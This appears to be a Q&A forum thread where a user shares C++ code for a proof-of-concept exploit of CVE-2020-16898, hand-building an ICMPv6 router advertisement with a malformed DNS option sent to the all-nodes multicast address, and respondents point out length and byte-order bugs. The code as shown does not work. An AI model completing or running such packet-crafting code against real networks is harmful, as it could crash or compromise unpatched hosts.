0

Out of curiosity, I was trying to write a simple proof-of-concept exploit to CVE-2020-16898. I used the RFCs (RFC 4861 and RFC 6106) to get the correct format, and I've managed to send a crafted ICMPv6 router advertisement packet using the code below. However, viewing the packet in Wireshark revealed that the packet option 25 (the payload) was missing from the packet that was actually sent.

I suspect that it has something to do with the packet length - I tried converting it to Big Endian (using both htons() and manually inserting a hex number), but in these instances, sendto() fails with the "Message too long" error. The payload should be 56 bytes long, which should be well below the limits.

I'm including my code below. I'll appreciate any help.

#include <iostream>
#include <cstdlib>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>

struct ipHeader{
    uint8_t priority:4, version:4;
    uint8_t flow[3];
    uint16_t length;
    uint8_t nextHeader;
    uint8_t hopLimit;

    // 128-bit IPv6 addresses
    uint16_t srcAddress[8];
    uint16_t dstAddress[8];
};

struct payload{
    uint8_t type;
    uint8_t code;
    uint16_t checksum;
    uint32_t curHopLimit:8, M:1,O:1, reserved:6, lifetime:16;
    uint16_t routerLifetime;
    uint32_t reachableTime;
    uint32_t retrans;
    // Options, probably should be its own struct
    uint8_t optionType;
    uint8_t optionLength;
    uint16_t optionReserved;
    uint32_t optionLifetime;
    uint32_t dnsAddress[4]; // 128-bit IPv6 address
    uint64_t randomGarbage; // This is where magic happens
};

int main()
{
    uint8_t *packet;
    packet = (uint8_t *) malloc(sizeof(ipHeader) + sizeof(payload));

    ipHeader *ip;
    payload *icmp;

    // Place IP header + payload directly to the packet buffer
    ip = (ipHeader *) packet;
    // Offset of payload in packet buffer
    icmp = (payload *)(packet+sizeof(ipHeader));

    // IPv6 packet header (arcane magic stuff)
    ip->version = 0b0110;
    ip->priority = 0;
    (ip->flow)[0] = 0;
    (ip->flow)[1] = 0;
    (ip->flow)[2] = 0;
    ip->length = htons(sizeof(payload)); // Should be 0x3800 (Big Endian)
    ip->nextHeader = 58;
    ip->hopLimit = UINT8_MAX; //Most hops possible to prevent the packet from being dropped

    std::cout << std::hex << ip->length << std::dec << std::endl;

    // ICMPv6 router advertisement packet (more arcane magic stuff)
    icmp->type = 134; // Router advertisement
    icmp->code = 0;
    icmp->checksum = 0; // will set/calculate later
    icmp->curHopLimit = 64;
    icmp->M = 0;
    icmp->O = 0;
    icmp->reserved = 0;
    icmp->lifetime = 0;
    icmp->reachableTime = 0;
    icmp->retrans = 0;
    icmp->optionType = 25;
    icmp->optionLength = htonl(3);
    icmp->optionLifetime = UINT32_MAX;
    icmp->randomGarbage = UINT64_MAX; // not very random, but w/ever
    icmp->checksum = 0x2e55;

    sockaddr_in6 remote{};
    remote.sin6_family = AF_INET6;
    remote.sin6_port = 0;
    remote.sin6_flowinfo = 0;
    remote.sin6_scope_id = 0;

    //Set addresses
    inet_pton(AF_INET6, "fe80::eab1:fcff:fedb:74", &(ip->srcAddress));
    inet_pton(AF_INET6, "ff02::1", &remote.sin6_addr);
    inet_pton(AF_INET6, "ff02::1", &(ip->dstAddress));
    inet_pton(AF_INET6, "2001:4860:4860::8844", &(icmp->dnsAddress)); // Google DNS, just to use a valid setting

    int sock, optVal;
    sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
    if(sock == -1){
        perror("Failed to open socket");
        exit(-1);
    }

    int status;
    status = setsockopt(sock, IPPROTO_IPV6, IPV6_HDRINCL, &optVal, sizeof(int));
    if(status != 0){
        std::cout << "Socket options returned status " << status << std::endl;
        perror("Failed to set socket options");
        exit(-2);
    }

    std::cout << "Sockets ready, sending payload..." << std::endl;
    std::cout << "Payload size: " << sizeof(payload) << std::endl;

    status = sendto(sock, packet, ip->length, 0, (sockaddr *) &remote, sizeof(remote));
    if(status != ip->length){
        std::cout << "sendto() returned status" << status << "(Errno: " << errno << ")" << std::endl;
        perror("Failed to send packet");
        exit(-3);
    }

    return 0;
}
InterCity
  • 102
  • 7
  • Are you sure ip->length is the correct number of bytes to send? You want to send the header and the payload, right? ip->length is just the payload, in your code – user253751 Oct 20 '20 at 12:12

1 Answers1

0

You have:

    uint8_t optionLength;

and:

icmp->optionLength = htonl(3);

This doesn't make sense.

The optionLength field is just one byte. There is no way a single byte field can be big endian or little endian. It's just one byte.

Since it's not a long, assigning the result of htonl to that field is a mistake. Just use = 3.

David Schwartz
  • 179,497
  • 17
  • 214
  • 278
  • Thank you for the reply, but unfortunately, that didn't solve the issue. Sendto() still fails with "Message too long" (errno: 90)... – InterCity Oct 20 '20 at 08:54
  • @InterCity I think that error is correct -- the message is too long. Isn't the point of the vulnerability that no system should ever send this message? And there's no bug in your system's sending code, only in the receiving code (assuming it's vulnerable), so this code *shouldn't* work. Why do you expect it to? – David Schwartz Oct 20 '20 at 10:01
  • This example is sending a valid message with the correct length. Or at least that's what I should do. The message is 3 bytes long (1 byte of headers and 2 bytes o an IPv6 address). Routers should be sending such messages whenever they want to temporarily configure DNS on roaming hosts. – InterCity Oct 20 '20 at 10:37